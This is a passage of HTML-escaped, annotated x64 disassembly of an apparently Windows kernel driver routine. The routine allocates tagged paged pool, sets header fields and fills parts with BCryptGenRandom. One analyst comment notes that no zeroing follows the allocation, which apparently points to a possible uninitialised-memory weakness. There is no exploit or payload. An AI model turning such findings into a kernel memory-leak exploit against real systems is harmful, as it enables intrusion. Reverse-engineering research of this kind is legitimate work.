&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F15A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;esi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;default&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x40&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F15F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F162&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C001F16A&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F164&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;esi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;arg5&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F167&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;esi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;42&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x42&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F16A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r14d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F170&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ebp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r14d&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F173&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jbe&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C001F17F&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F175&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;C000000Dh&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_INVALID_PARAMETER&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F17A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;loc_1C001F23A&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F17F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;esi&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NumberOfBytes&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F181&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;41746&lt;/span&gt;&lt;span class="n"&gt;D73h&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Tag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;smtA&amp;#39;&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F187&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r14d&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PoolType&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PagedPool&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F18A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nl"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_ExAllocatePoolWithTag&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;no&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;zeroing&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;follows&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F191&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;nop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax+rax+00h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F196&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F199&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F19C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C001F1A8&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F19E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;C0000017h&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_NO_MEMORY&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F1A3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;loc_1C001F23A&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F1A8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ow"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax+8&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;0x08&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F1AC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax+10h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F1B0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r9d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BCRYPT_USE_SYSTEM_PREFERRED_RNG&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F1B6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r14d&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;0x00&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F1B9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ecx&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F1BB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax+4&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ebp&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;0x04&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F1BE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax+0Ch&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r14d&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;0x0C&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F1C2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r9+0Eh&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bytes&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F1C6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nl"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_BCryptGenRandom&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;0x10..0x1F&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F1CD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;nop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax+rax+00h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F1D2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+20h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F1D6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ebp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ebp&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F1D8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C001F1E4&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F1DA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;movups&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;xmm0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;xmmword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+10h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F1DE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;movdqu&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;xmmword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;xmm0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;0x20..0x2F&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;0x10..0x1F&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F1E2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C001F1FA&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F1E4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ecx&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F1E6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r9d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rcx+2&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F1EA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rcx+10h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F1EE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nl"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_BCryptGenRandom&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;0x20..0x2F&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F1F5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;nop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax+rax+00h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F1FA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+30h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r15d&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;0x30&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg4&lt;/span&gt;
